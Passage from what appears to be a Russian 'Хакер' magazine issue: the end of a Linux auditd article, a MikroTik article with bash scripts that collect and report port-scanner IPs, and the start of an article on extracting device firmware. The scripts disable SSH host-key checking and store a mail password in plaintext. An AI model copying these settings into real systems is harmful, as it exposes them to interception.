CRED_ACQ CRED_DISP USER_START USER_END USER_AVC USER_CHAUTHTOK USER_ERR CRED_REFR USYS_CONFIG USER_LOGIN USER_LOGOUT ADD_USER DEL_USER ADD_GROUP DEL_GROUP... WWW Опи­сание всех типов и  полей логов есть в документ­ ации. К при­меру, в  результ­ ате наших дейс­ твий по  добав­лению и  уда­лению поль‐­ зовател­ ей появил­ ись события дру­гих типов, которые не  попали в  пра­вило. Но мы с легк­ остью можем их прос­мотреть. $ sudo ausearch -i -m USER_MGMT,ADD_USER,DEL_USER,ADD_GROUP,DEL_GROUP ---- type=ADD_GROUP msg=audit(08/31/2021 17:08:53.317:330382) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- group acct=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ---- type=ADD_USER msg=audit(08/31/2021 17:08:53.322:330383) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- user acct=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ---- type=USER_MGMT msg=audit(08/31/2021 17:08:53.652:330385) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- home-dir id=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ... Ес­ли мы хотим получить абсо­лют­но все события ауди­та за  день, выполн­ яем коман­ду sudo ausearch -i -ts today. Ответ будет очень длинн­ ым, поэто­му не прив­ ожу его. Ес­ли же нам по  каким‑то при­чинам не  инте­рес­ны конк­ рет­ные типы событий и мы хотим сокр­ атить раз­мер логов, то можем пол­ностью исключ­ ить регис­трац­ ию этих типов. Напр­ имер, с помощью прав­ ил для филь­тра exclude: $ sudo auditctl -a always,exclude -F msgtype=CWD $ sudo auditctl -a always,exclude -F msgtype=PATH $ sudo auditctl -a always,exclude -F msgtype=CRYPTO_KEY_USER ВЫВОД Как мы убе­дились, наст­ ра­ивать аудит в Linux не так уж и сложн­ о. Дос­таточ­но понять, как он работае­ т, и набить руку в написан­ ии пра­вил. Всем заинт­ ересо‐­ вавш­ имся советую обра­тить вним­ ание на дру­гие реали­зации агент­ ов ауди­та: auditbeat и go-audit. Возм­ ожно, для твои­ х задач они подой­дут лучш­ е.

АДМИН МГОСИПКОДРИНОТИКОВ АВТОМАТИЗИРУЕМ СБОР И ОБРАБОТКУ ДАННЫХ С ОБОРУДОВАНИЯ MIKROTIK NestorMahno Если user очень крут — не пугайтесь, это root [email protected] Пред­ставь, что у нас есть обо­рудов­ ание MikroTik, для которо‐­ го написан­ ы прав­ ила фай­рво­ла прот­ ив ска­ниро­вания пор‐­ тов. Нам нуж­но вест­ и ежедн­ евный учет IP-адре­сов и отправ‐­ лять письм­ о с  отчет­ ом для  отдел­ а безопасн­ ости. Сегодн­ я мы в  духе извест­ ной цит­ аты с  «Баша» о  прог­раммис­те, который авто­мати­зиров­ ал все, что занимал­ о у  него боль‐­ ше  90  секунд, напишем скрипт, чтоб­ ы он выпол­нял всю эту работу. По  дороге поуп­ражня­емся в  адми­нист­ ри­рован­ ии сетей на осно­ве MikroTik. Как ты пом­нишь, пер­вый этап любой кибера­таки  — это  разв­ едка. От  нее‑то мы и будем защищатьс­ я. На некое­ м гран­ ичн­ ом мар­шру­тиза­торе MikroTik у нас нас­трое­ ны прав­ ила Firewall прот­ ив стан­дар­тног­ о ска­на порт­ ов (напр­ имер, все­ми ува­жаемым ска­нером Nmap). Прав­ ила Firewall про­тив ска­на пор­тов Все прав­ ила нас­тро­ены в таб­лице Raw для обраб­ отк­ и траф­ ика до попадан­ ия в  Connection Tracking и  мень­шей нагр­ узки на  проц­ есс­ ор. В  пра­вилах задейс­ твов­ ана цепочк­ а Prerouting, логика работы пра­вил основ­ ана на фла‐­ гах TCP (tcp-flags). Если нам с одног­ о IP-адрес­ а поочер­ ед­но на раз­ные пор‐­ ты марш­ рут­ иза­тора при­лета­ет неск­ оль­ко пакетов TCP с  фла­гами SYN (полу‐­ открыт­ ые соедин­ ения), то мож­но сде­лать вывод, что работа­ет ска­нер порт­ ов. Добавл­ яем IP-адрес в  Address List и  в конц­ е дела­ем drop все­го лист­ а. Эти сиг­натуры не  пре­тенд­ уют на  уник­ альн­ ость. Так что, как  говорит мой началь‐­ ник, «совер­шенст­ вуй и улуч­шай». Эк­спорт пра­вил Firewall прот­ ив скан­ а пор­тов INFO Дет­ альн­ ый раз­бор этих пра­вил выходит за рамк­ и статьи. Чтоб­ ы вникн­ уть подр­ обнее, читай цикл ста­тей «Сте­на огня» и  изу­чай, как  работаю­ т ска‐­ неры пор­тов. Спи­сок адрес­ ов с назв­ ание­ м port scanners ПЕРВЫЙ ЭТАП ОПТИМИЗАЦИИ ЖИЗНЕДЕЯТЕЛЬНОСТИ СИСАДМИНА Итак, нам нуж­но вест­ и учет количес­тва IP-адре­сов, которые ска­ниру­ют сеть, и  ежедн­ евно отправл­ ять Address List в  отдел безопасн­ ости предп­ рия­ тия для  даль­нейшег­ о ана­лиза и  пред­ от­вра­щения атак. Как  извест­ но, сис­темный админ­ ис­трат­ ор сущест­ во лен­ ивое занятое, и  каж­дый день заходить на  мар‐­ шру­тиза­тор и  ски­дывать файл с  адре­сами для  него нерент­ абельн­ о. Начал я с  того, что написал скрипт для  RouterOS, который ежед­невно сох­ранял Address List в файл и отправ­лял письм­ о на элек­трон­ную почт­ у. При­мер локаль­ного скрип­та на мар­шру­тиза­торе MikroTik RouterOS :local sysname [/system identity get name]; :local sysdate [/system clock get date]; :local d [:pick $sysdate begin=4 end=6]; :local m [:pick $sysdate begin=0 end=3]; :local y [:pick $sysdate begin=7 end=11]; ########SAVE_ADDRESS_LIST_TO_FILE############# /ip firewall address-list print from=[ find where list=port_ scanners] \\ file=\"$sysname_$d$m$y_port_scanners_list.txt\"; :delay 3s; ########SEND_ADDRESS_LIST_TO_MAIL############ /tool e-mail send [email protected] from= [email protected] \\ subject=([/system identity get name] . \" Port_scanners_address_list \" .\\ [/system clock get date]) body=(\"Port scanners address-list of $sysname\\nTime and Date stamp: \" . \\ [/system clock get time] . \" \" . [/system clock get date] . \"\\n \") \\ file=\"$sysname_$d$m$y_port_scanners_list.txt\"; Скрипт брал основную информац­ ию по обор­ удов­ анию, имя устрой­ства, дату, месяц и год, искал соотв­ етс­твую­ щий Address List и сохр­ анял файл. Сох­раненн­ ый файл А затем отправл­ ял сообщ­ ение с вло­женн­ ым файл­ ом на почт­ у. Прим­ ер получен­ного пись­ма Доб­ авл­ ение это­го скрипт­ а в  Scheduler нем­ного облегчи­ло жизнь, но  нуж­но было заходить на поч­ту сох­ранять логи и ежен­ едель­но под­счи­тывать IP-адре‐­ са. План­ ировщ­ ик и наш скрипт ВТОРОЙ ЭТАП ОПТИМИЗАЦИИ. УЧИМ СЕРВЕР ДЕЛАТЬ РАБОТУ ЗА НАС План дей­ствий будет след­ ующий. 1. Мы напишем на  Bash скрипт, который будет заходить на  мар­шру­тиза­тор по SSH, сохр­ анять файл из Address List и по SCP забирать файл себе. 2. Нап­ ишем еще один Bash-скрипт, который будет вест­ и еже­недельн­ ый под‐­ счет IP-адрес­ ов и  отправл­ ять безопасн­ икам эту информац­ ию по  почт­ е, прик­ладывая сам спи­сок. 3. Вы­пол­ним вся­кие вспом­ огат­ ель­ные задачи: наст­ ройк­ у cron и  поч­тового клие­ нта на  сер­вере, генера­цию ключ­ ей SSH и, конечн­ о, наст­ ройк­ у телег‐­ рам‑бота для получен­ ия слу­жебн­ ых сообщ­ ений и (при некото­рой доработ‐­ ке) управлен­ ия работой скрипт­ а. Из инст­ ру­мен­тов нам понадо­бит­ся Unix-образная сист­ ема (я тес­тировал на  Ubuntu, Armbian и  Manjaro), пря­мые руки и  баноч­ка пива (опци­ональ­но). Прис­тупа­ем к работе! Сна­чала соз­даем дирек­торию для  хран­ ения наших скрипт­ ов и  слу­жеб­ных файл­ ов: mkdir /home/user/.scripts/cyber И еще одну — для хра­нения спис­ка адрес­ ов, с которых про­исход­ ило скан­ иро‐­ вание: mkdir /home/user/.scripts/cyber/port_scanners Так­же нуж­но на сер­вере сге­нерир­ овать ключ­ и SSH: ssh-keygen И вруч­ную найт­ и публ­ ичный ключ (id_rsa.pub) в  каталог­ е ~/.ssh. На  мар‐­ шрут­ изат­ оре созд­ аем поль­зовател­ я (напр­ имер, uServer) и кла­дем публ­ ичный ключ SSH (id_rsa.pub) в  дирек­торию Files. Далее откры­ваем вклад­ку System → Users → SSH Keys и  выбира­ем публ­ ичный ключ SSH (id_rsa.pub) для соз­данног­ о поль­зовате­ля. Соз­дание нового поль­зовате­ля INFO Не забывай, что посл­ е того, как  мы положи­ли ключ для  поль­зовате­ля, нуж­но перв­ ый раз зайт­ и на  мар­шру­тизат­ ор под  этим поль­зовател­ ем по прот­ око­лу SSH. Для монитор­ ин­га работы скрип­тов мы будем использ­ овать телег­рам‑бота. Его код я здесь прив­ одить не буду, но смаст­ ерить его несл­ ожно — ищи бота BotFather и дерз­ ай. INFO Подр­ обнее о том, как писать ботов для Telegram, читай в  статье «Те­лег­рафируе­ т робот. Пишем бота для Telegram на Python». Дальш­ е соз­даем групп­ у или канал, даем ей соотв­ етс­твую­ щее назв­ ание (нап‐­ ример, MikrotControl). Добавл­ яем бота в групп­ у и даем ему пра­ва для пуб‐­ ликации сооб­щений. Даль­ше узна­ем chat id нашей груп­пы. Для это­го откры­ваем спе­циальн­ ый URL: https://api.telegram.org/bot<ваш_токен_телеграм_бота>/getUpdates В отве­те нас интер­ есуе­ т параметр message → chat → id, в нем хра­нит­ся уни‐­ кальн­ ый иден­тификат­ ор чата груп­пы с нашим ботом. Выв­ од в фор­мате JSON: \"chat\": { \"id\": -1524684857943, \"title\": \"MikrotControl\", \"type\": \"supergroup\" }, Те­перь отпра­вим тес­товое сооб­щение от бота в групп­ у или канал. Для это­го есть спе­циаль­ный URL: https://api.telegram.org/bot<ваш_токен_телеграм_бота>/sendMessage? chat_id=<ідентифікатор_групи>&text=test123 В нашем слу­чае chat ID -1524684857943. Имен­но так, со зна­ком минус. В групп­ е мы дол­жны получить сообщ­ ение от  бота с  текс­ том test123. Дальш­ е нужн­ о наст­ рои­ ть бота на серв­ ере. Я возьм­ у за осно­ву готовый скрипт monit2telegram. Уст­ анавл­ ива­ем кли­ент Git: sudo pacman -S git Пе­рехо­дим в дирек­торию /usr/src: cd /usr/src Загр­ ужае­ м необ­ходимые ресурс­ ы с  GitHub и  переход­ им в  загр­ ужен­ную дирек­торию: sudo git clone https://github.com/matriphe/monit2telegram.git cd monit2telegram Зат­ ем необх­ одимо ско­пиров­ ать файл кон­фигурац­ ии и скрип­ты в соот­ветст­ ву‐­ ющие директ­ ории файл­ овой сист­ емы и дать скрипт­ ам пра­ва на исполнен­ ие: sudo cp telegramrc /etc/telegramrc sudo cp sendtelegram.sh /usr/local/bin/sendtelegram sudo chmod +x /usr/local/bin/sendtelegram sudo cp monit2telegram.sh /usr/local/bin/monit2telegram sudo chmod +x /usr/local/bin/monit2telegram Ус­тановить необ­ходимые зависи­мост­ и (jq): cd /usr/src sudo wget https://github.com/stedolan/jq/releases/download/jq-1.6/jq- linux64 sudo ln -s /usr/src/jq-linux64 /usr/bin/jq В пер­воначальн­ ом конф­ иге /etc/telegramrc нужн­ о указ­ ать уни­каль­ный TOKEN бота и CHATID нашей груп­пы: TOKEN='...' CHATID='...' Пров­ ерить, при­ходят ли сообщ­ ения, мож­но так: sendtelegram -m \"test message from server\" В нашей групп­ е мы дол­жны получить сообщ­ ение от бота с указ­ ан­ным текс­ том. Ну и наконец, пишем наш скрипт. /home/user/.scripts/cyber/port_scanners.sh #!/bin/bash DIR_FILES=\"/home/user/.scripts/cyber/port_scanners\"; # Переменные команд для работы в любых оболочках CMD_WC=$(which wc)\" -l\"; CMD_SSH=$(which ssh); CMD_SCP=$(which scp); CMD_GREP=$(which grep); CMD_NMAP=$(which nmap); CMD_DATE=$(date +%d_%m_%Y); CMD_SEND2TG=$(which sendtelegram)\" -m\"; # Переменные для доступа по SSH и работы скрипта IDL_TIME=\"5s\"; HOST=\"192.168.100.12\"; USER=\"uServer\"; PORT=\"4200\"; IDENTITY=\"CRT001\"; FILE_NAME=$(echo $IDENTITY\"_\"$CMD_DATE\".txt\"); SSH_OPT=\" -o ConnectionAttempts=5 -o ConnectTimeout=5s \\ -o PasswordAuthentication=no -o PreferredAuthentications=publickey \\ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \\ -o GlobalKnownHostsFile=/dev/null -o CheckHostIP=no \"; # Переменные для телеграм-бота DATE1=\"$(date \"+%H:%M:%S\")\" DATE2=\"$(date \"+%d %B %Y\")\" TEXT=\"������ Port scanners file загружен на сервер *$HOSTNAME* в директорию *$DIR_FILES* Время: $DATE1 Дата: $DATE2\" PAYLOAD=\"$TEXT&parse_mode=Markdown&disable_web_page_preview=true\" # Копирование файла с RouterOS на localhost SCP_STR_FILE=\"$CMD_SCP -2 -4 -B $SSH_OPT -P $PORT $USER@$HOST:/ $FILE_NAME $DIR_FILES\"; # Сохранение address-list на RouterOS в файл FILE_CRT=\"/ip firewall address-list print from=[ find where list=port_scanners] file=$FILE_NAME\"; # Удаление файла из address-list на RouterOS FILE_CLN=\"/file remove [find name=$FILE_NAME];/ip firewall address-list remove [find where list=port_scanners]\"; # Подключение по протоколу SSH на RouterOS SSH_STR=\"$CMD_SSH -p $PORT $USER@$HOST $SSH_OPT\"; # Проверка доступности целевого хоста (маршрутизатор MikroTik) для написания условий DEST_HOST=$($CMD_NMAP -p $PORT $HOST -Pn | $CMD_GREP -ic open); # Если хост недоступен, отправляем сообщение в группу if [ \"$DEST_HOST\" = 0 ]; then $CMD_SEND2TG \"cannot connect to $HOST\" fi; # Если доступен, то сохраняем файл, копируем его в заданную директорию, удаляем с маршрутизатора и пишем об удачной отработке скрипта в группу if [ \"$DEST_HOST\" = 1 ]; then $SSH_STR $FILE_CRT sleep $IDL_TIME && $SCP_STR_FILE sleep $IDL_TIME && $SSH_STR $FILE_CLN $CMD_SEND2TG \"$PAYLOAD\"; fi; Дум­ аю, логика скрипт­ а понятн­ а, поэто­му идем дальш­ е. Для генерац­ ии элек­тронн­ ого письм­ а нам необ­ходимо созд­ ать файл old_date с датой отправ­ки пер­вого пись­ма для ИБ‑отде­ла: echo 05.09.2021 > /home/user/.scripts/cyber/old_date Такж­ е созд­ аем допол­нитель­ный файл mail_body_text с тек­стом сооб­щения для нашего элект­ рон­ного пись­ма: echo Cybersecurity report with port scanners files > /home/user/. scripts/cyber/mail_body_text Для элект­ ронн­ ой поч­ты уста­новим mutt: yaourt mutt Дал­ ее необ­ходимо созд­ ать файл конф­ игура­ции home/user/.scripts/ cyber/.muttrc: sudo vi home/user/.scripts/cyber/.muttrc Осн­ овные наст­ рой­ки фай­ла home/user/.scripts/cyber/.muttrc: set from = \"[email protected]\" set realname = \"Nestor\" \\ set imap_user = \"[email protected]\" set imap_pass = \"security_password\" \\ set folder = \"imaps://imap.protonmail.com:993\" set spoolfile = \"+INBOX\" \\ set postponed =\"+[Protonmail]/Drafts\" set header_cache =~/.mutt/ cache/headers \\ set message_cachedir =~/.mutt/cache/bodies set certificate_file =~/. mutt/certificates \\ set smtp_url = \"smtp://[email protected]:587/\" set smtp_ pass = \"security_password\" \\ set move = no set imap_keepalive = 900 Для пров­ ер­ки элек­тронн­ ой почт­ ы исполь­зуем такую команд­ у: mutt -s Subject -a /home/user/.scripts/cyber/Cybersecurity_report. txt -- [email protected] < Test message body Теп­ ерь напишем скрипт для  под­счет­ а IP-адре­сов и  отправк­ и элек­трон­ного письм­ а для синей коман­ды vim /home/user/.scripts/cyber/report_mail. sh. Все фун­кции скрип­та про­писа­ны в комм­ ентар­ иях в нем. #!/bin/bash # Переменные команд для работы в любых оболочках CMD_DATE=$(date +%d.%m.%Y); CMD_WC=$(which wc)\" -l\"; CMD_RM=$(which rm)\" -r\"; CMD_CAT=$(which cat); CMD_EXPR=$(which expr); CMD_SEND2TG=$(which sendtelegram)\" -m\"; CMD_MUTT=$(which mutt)\" -s Cybersecurity_logs -a\"; # Переменные директорий DIR_FILES=\"/home/user/.scripts/cyber/port_scanners\"; DIR_REPORT=\"/home/user/.scripts/cyber\"; # Переменные файлов FILE_REPORT=\"Cybersecurity_report.txt\"; FILE_OLD_DATE=\"old_date\"; FILE_MAIL=\"mail_body_text\"; # Переменные для телеграм-бота DATE1=\"$(date \"+%H:%M:%S\")\" DATE2=\"$(date \"+%d %B %Y\")\" TEXT=\"$DATE2 : Доклад и $RESULT IP-адресов для отдела ИБ отправлен на электронную почту [email protected]\"; # Берем старую дату предыдущего доклада для генерации нового OLD_DATE=$($CMD_CAT \"$DIR_REPORT/$FILE_OLD_DATE\"); # Подсчет IP-адресов из сохраненных за неделю файлов IP_SUM=$($CMD_CAT \"$DIR_FILES\"/* | $CMD_WC); RESULT=$($CMD_EXPR $IP_SUM - 35); # Удаляем старый Cybersecurity_report.txt $CMD_RM \"$DIR_REPORT/$FILE_REPORT\"; # Генерируем рапорт для синей команды if ! [[ -r $DIR_REPORT/$FILE_REPORT ]]; then echo \" Доклад на 10:00 с $OLD_DATE г. по $CMD_DATE г. зафиксировано $RESULT IP адресов, с которых производилось сканирование сети. Файлы с ІР-адресами во вложении к докладу. Системный администратор Нестор Иванович Махно $CMD_DATE года\" > $DIR_REPORT/$FILE_REPORT; # Замена переменной старой даты для последующего доклада echo $CMD_DATE > \"$DIR_REPORT/$FILE_OLD_DATE\"; # Отправка электронного письма с вложениями $CMD_MUTT \"$DIR_REPORT/$FILE_REPORT\" \"$DIR_FILES\"/* [email protected] < \"$DIR_REPORT/$FILE_MAIL\"; # Сообщение в группу «Телеграма» об удачной отправке $CMD_SEND2TG \"$TEXT\"; # Удаление файлов с address-list port_scanners #$CMD_RM \"$DIR_FILES\"/*; else # Сообщение в группу «Телеграма» о неудачной отработке скрипта $CMD_SEND2TG \"cyber.sh не отработал\"; fi; Прив­ еду кратк­ ое поясн­ ение част­ и скрип­та для  подс­ чет­ а IP-адре­сов из  сох‐­ ранен­ных файл­ ов за неделю. IP_SUM=$($CMD_CAT \"$DIR_FILES\"/* | $CMD_WC); RESULT=$($CMD_EXPR $IP_SUM - 35); Вот как выг­лядит экспорт спис­ка адрес­ ов. Как мы видим, пер­вые пять строк не несут смысл­ овой нагр­ узки. С помощью утил­ иты wc мы счи­таем все стро­ки в  файл­ ах из  директ­ ории /home/user/.scripts/cyber/port_scanners, а  так как  док­лад у  нас за целую неделю, то 35 слу­жеб­ных строк мы не учи­тыва­ем. Ну и посм­ отрим, как работа­ет опо­веще­ние телегр­ ам‑бота в нашей груп­пе. Опо­веще­ние телег­рам‑бота в груп­пе ПЛАНИРОВЩИК CRON ИЛИ ПОЛНАЯ АВТОМАТИЗАЦИЯ СКРИПТА Для нор­маль­ного запуск­ а наших скрип­тов соз­дадим симв­ олическ­ ие ссыл­ки: sudo ln -s /home/user/.script/cyber/port_scanners.sh /usr/bin/port_ scanners.sh sudo ln -s /home/user/.script/cyber/report_mail.sh /usr/bin/report_ mail.sh Даль­ше необх­ одимо открыть пла­нировщ­ ик cron: crontab -e И проп­ исать в нем сле­дующие строк­ и для запус­ка наших симв­ олическ­ их ссы‐­ лок на скрипт­ ы: 00 10 * * * /usr/bin/port_scanners.sh 30 12 * * 3 /usr/bin/report_mail.sh Теп­ ерь кажд­ ый день в  10:00  будет запус­катьс­ я наш скрипт для  сбор­ а адре‐­ сов, а кажд­ ую сред­ у в 12:30 под­счит­ ыва­ется числ­ о айпишн­ иков, генери­руетс­ я и отправ­ляет­ся элект­ ронн­ ое пись­мо. ИТОГИ Отд­ ел безопас­ности получа­ет необ­ходимые дан­ные, информац­ ия не занима‐­ ет память марш­ ру­тиза­тора MikroTik, а всю работу выполн­ яет наш серв­ ер. Сис‐ темный адми­нист­ ра­тор при  этом конт­ ро­лируе­ т выпол­нение в  групп­ е или канале Telegram, а в сэконом­ленное врем­ я почитыв­ ает «Хакер»!

GEEK ПРОЧЕСТЬ ПАМЯТЬ КАК КРАДУТ ПРОШИВКУ УСТРОЙСТВ И КАКИЕ БЫВАЮТ ЗАЩИТЫ chpeck [email protected] Все мы в  детст­ ве вооруж­ ались отверт­ ка­ми и  раз­бирали какой‑нибудь при­бор, что­бы понять, как  он работа­ет. Для кого‑то это ста­ло проф­ ес­сией, но годы, когд­ а подопыт‐­ ные приб­ оры не  соп­ротивл­ ялись изуч­ ению, уже прошл­ и. Теперь кажд­ ая кофевар­ка пытае­ тся все­ми силами сдел­ ать так, чтоб­ ы ты не смог ее изу­чить. Есть ли выход? Да! Сегод­ня мы пос­мотрим, как вытас­кивать про­шивк­ у из разн­ ых устрой‐­ ств и как раз­работ­чики меша­ют это­му. INFO Статья написа­на по  мотивам докл­ ада Демида Узеньк­ ова  — спец­ иалис­та комп­ ании ИНФО­РИОН. Выс­тупле­ние сост­ оялось на конф­ ерен­ции RuCTFE 2020. За помощь в под­готов­ке пуб­ликации редак‐­ ция бла­годар­ ит коман­ду «Хак­ ер­дом». Как ты помн­ ишь, у ламп­ овых прие­ мни­ков не было никаких прош­ ивок, а единс‐­ твен­ное, что мог­ло помешать твое­ му любопытст­ ву,  — это  анод­ное нап‐­ ряжение, которое, впро­чем, хотя бы не нападал­ о на тебя само. Сей­час же все по‑дру­гому: мне попада­лись устройс­ тва, которые агрессивн­ о про­тивод­ ей‐­ ство­вали мне с  самого начала, еще  на эта­пе разб­ орки кор­пуса. С  него мы и начн­ ем. ВСКРЫТИЕ Перв­ ое, что тебя может ждать на  пути к  заветн­ ой памяти с  прош­ ивк­ ой,  — это  хорошо зак­рытый кор­пус. Врод­ е  бы никаких пробл­ ем: взял крес­товую отверт­ ку… Пост­ ой, а  точ­но ли крес­товую? Сейч­ ас сущест­ ву­ет минимум пара десятк­ ов форм головок винт­ ов, и, конечн­ о, далеко не все они откруч­ иваю­ тся норм­ альн­ ыми человеч­ ес­кими инст­ ру­мент­ ами. Для  разб­ орки одно­го устрой‐­ ства, напр­ имер, мне приш­лось над­филем выпилив­ ать из  плоск­ ой отвер­тки нужн­ ую форм­ у. WWW О трудн­ остях с винт­ ами можн­ о почитать в статье на Egear. Доп­ уст­ им, ты подоб­рал (или сде­лал) отвер­тку нуж­ной форм­ ы. Молодец! Открут­ ил вин­ты, под­нял крыш­ку, посл­ ышал­ся треск текс­ тол­ ита  — и  устрой‐­ ство можн­ о отправл­ ять на  помойк­ у. Все потому, что плат­ а в  тво­ем гадж­ ете не прост­ о болт­ ает­ся внут­ри корп­ уса, а слож­ным образ­ ом объ­еди­нена с раз‐ ными его час­тями. Обычн­ о это  дела­ется с  помощью спе­циальн­ ых защелок, которые встав­ляют­ся в отверс­ тия плат­ ы, а при раз­борке корп­ уса лома­ют ее, делая даль­нейшее изу­чение бесп­ олезн­ ым. Или треск не пос­лышалс­ я. Тог­да ты под­ключ­ аешьс­ я к тому, что обна­ружил, чита­ешь память, а  чита­ются одни нули. Как  такое могл­ о про­изой­ти? Сов‐­ ременн­ ые техн­ ологии позв­ оляю­ т про­изво­дить крох­ отн­ ые SMD-фото­эле­мен‐­ ты, вро­де фотот­ранзист­ оров, которые обыч­но прим­ еня­ются в  такой защите. Ког­да устройс­ тво обнар­ ужив­ ает, что на его пла­ту попадае­ т хоть немн­ ого све‐­ та (даже через малень­кое отвер­стие в кор­пусе), прош­ ив­ка конт­ рол­лера сти‐­ раетс­ я, а  тебе оста­ется нефун­кци­ональн­ ое устрой­ство. И  хорошо, если защита не спа­лит чего‑нибудь физическ­ и! INFO В некото­рые устрой­ства, нап­ример бло­ки питания компь­ютер­ ов, прои­ зво­дите­ли встра­ивают сиг‐­ наль­ную дымовую шашк­ у, которая сооб­щает о  полом­ке. При  ее сраб­ аты­вании аром­ ат­ный синий дым отправ­ ит тебя в  магазин за  новым блок­ ом питания. Де­ло в том, что неп­ривыч­ный к подоб­ным фокусам взор не может сраз­ у отли‐­ чить фототр­ анзис­тор от  того же све­тоди­ода, да  и прив­ ыч­ный тоже вряд ли с ходу спра­витс­ я. Если вообщ­ е заметит. ОСМОТР ПЛАТЫ Есл­ и вскрыт­ ие не  показа­ло, что паци­ент умер от  вскрыт­ ия, я снач­ ала осматри­ваю пла­ту в  поис­ках пинов отла­доч­ных интерфей­сов  — обыч­но это  JTAG или  UART. Глав­ная пробл­ ема не  в том, что нужн­ ые конт­ акты могут быть в очень неожи­данн­ ых мес­тах, а в том, что обычн­ о они отключ­ ены. Конеч‐­ но, даже в  2021  году все еще  хва­тает уни­кумов, которые отправл­ яют в  прод устройс­ тва с включ­ енн­ ым UART, но количест­ во таковых стре­мительн­ о пада­ет. Ес­ли тебе не  повез­ло  — вари­антов немн­ ого: или  пла­кать в  подушк­ у, или искать чип памяти на борт­ у и читать его непоср­ едст­ венн­ о. И вот с  этим тебя ожи­дает уйма инте­ресн­ ого! Думал, нужн­ о прост­ о вытащить вось­миногую микр­ уху в  DIP-корп­ усе, похожую на  стар­ ый чип с  BIOS? Как  бы не  так! Сей­час есть минимум четыре отно­сительн­ о широко прим­ еняе­ мых вида памяти, и  некотор­ ые из  них могут быть похожи друг на друг­ а так, что не раз­личишь. ПАМЯТЬ Прежд­ е чем я рас­ска­жу, что и как делать с памятью, давай сна­чала разб­ ерем‐­ ся, какая она вообщ­ е быва­ет и как ее отли­чить от дру­гих ком­понен­тов на пла‐­ те. По опыт­ у про­цесс­ ор (на скрин­шоте выше по цент­ ру) обычн­ о квадр­ атной фор‐­ мы и исполняе­ тся в BGA, а память пря­моугольн­ ая и делае­ тся в SOP-корп­ усах. Час­то в уль­тра­порт­ ативн­ ых вычисл­ итель­но мощн­ ых устрой­ствах (смар­тфо‐­ нах, напр­ имер) исполь­зуетс­ я бутерб­ род из про­цесс­ ора и памяти — так мень‐­ ше разм­ еры и  задер­жки при  работе. Форм‑факт­ ор, конечн­ о, BGA  — прос­то потому, что ничего друг­ ого в крох­ отн­ ый корп­ ус запих­нуть нельз­ я. ROM  — пос­тоянн­ ую память  — отлич­ ить довольн­ о легк­ о. Пред­положим, чип с ней ты уже нашел. Теперь давай разб­ ерем­ся, какая она быва­ет. Нас интер­ есу­ет EEPROM (Electrically Erasable Programmable Read-Only Memory), FRAM (сег­нетоэ­ лект­ рич­ еск­ ая память) и NOR/NAND flash — они тебе уже и так зна­комы. Из них ты мог не слыш­ ать толь­ко о FRAM — ее начали при‐­ менять око­ло пяти лет назад, так что она еще не особ­ о популярн­ а. EEPROM Сред­ и особ­ енн­ остей этой памяти  — побай­товые чте­ние и  запись. Такая память самая дол­говечн­ ая: по  расч­ етам, она может сохр­ анять информа­цию в  течение прим­ ер­но двух­сот лет! Но  за надежн­ ость при­ходитс­ я плат­ ить  — главн­ ым образ­ ом объ­емом, с которым у это­го вида памяти все пло­хо: типич‐­ ный объ­ем такого чипа изме­ряетс­ я в  килобайт­ ах. Из‑за низ­кого объ­ема для  хра­нения про­шивок этот тип памяти поч­ти не  прим­ еняе­ тся. Ну а  раз загово­рили о минусах — сто­ит и о низ­кой скор­ ос­ти ска­зать. Ус­трой­ство ячейк­ и памяти EEPROM Рес­ урс ячейк­ и  — окол­ о мил­лиона цикл­ ов переза­писи. По  срав­нению с  сов‐­ ременн­ ыми ячей­ками NAND, у которых этот показа­тель находит­ся в пред­ елах нес­кольк­ их десят­ков тысяч цикл­ ов, EEPROM-память прост­ о нереа­ ль­но надежн­ ая. FRAM FRAM  — это  сов­сем новый тип энерг­ онеза­виси­мой памяти. Пром­ ышл­ енно его при­менять стал­ и всег­ о неск­ ольк­ о лет назад, так что шанс встрет­ ить имен‐­ но FRAM в  каком‑нибудь умном холодильн­ ике небольш­ ой, но  ско­ро все может поменятьс­ я. Пока что основная проб­лема в  цене, которая нес­кольк­ о выше, чем у друг­ их типов памяти. Ус­трой­ство FRAM-ячейк­ и. Похоже на DRAM, прав­да? От EEPROM отлич­ ает­ся фунд­ амент­ альн­ о дру­гим прин­ципом запомин­ ания информац­ ии: хра­нитс­ я не заряд на зат­воре, а знак поляриз­ ации сегн­ ето­элек‐­ три­ка. При  прил­ ожен­ ии напр­ яжения она меняе­ тся на  прот­ иво­положн­ ую, что поз­воляе­ т читать такую память и писать в нее. Из‑за нового принц­ ипа работы такая память зна­чительн­ о быст­ рее, чем EEPROM, но ее дол­говечн­ ость оста­лась прак­тичес­ки неиз­менной. NOR/NAND Flash NOR/NAND-флеш‑память — это прос­то EEPROM, соб­ранный в масс­ ив. NOR от  NAND отлич­ аетс­ я толь­ко спос­ обом упа­ковк­ и в  масс­ ив, но  это неболь­шое разл­ ичие ведет к дос­таточ­но силь­ным отлич­ иям в такой памяти. NOR быс­трее и надеж­нее, чем NAND, но стои­ т дороже из‑за мень­шей плот‐­ ности комп­ онов­ки. NAND же, нап­ротив, дешевая как  мусор, но  имее­ т проб‐­ лемы с надежн­ остью. NOR- и NAND-память использ­ ует­ся в SSD и всяк­ их флеш­ках. Из‑за низк­ ой надеж­ности NAND-памяти такие накопи­тели в  обяз­ атель­ном поряд­ке име­ют больш­ ой пул запасн­ ых яче­ек, недос­тупных для  обыч­ного исполь­зования, и  умный конт­ рол­лер, который всем этим хозяйс­ твом рулит. Держ­ ать такой оверх­ ед в шир­потребн­ ых умных мульт­ ивар­ках неп­рости­тель­но дорого, так что при­меняе­ тся обыч­но NOR, а  NAND оста­ется для  польз­ ователь­ских накопи‐­ телей, где пробл­ емы надеж­ности мож­но перело­жить на  поль­зовате­ля, который не дела­ет бэкапы. 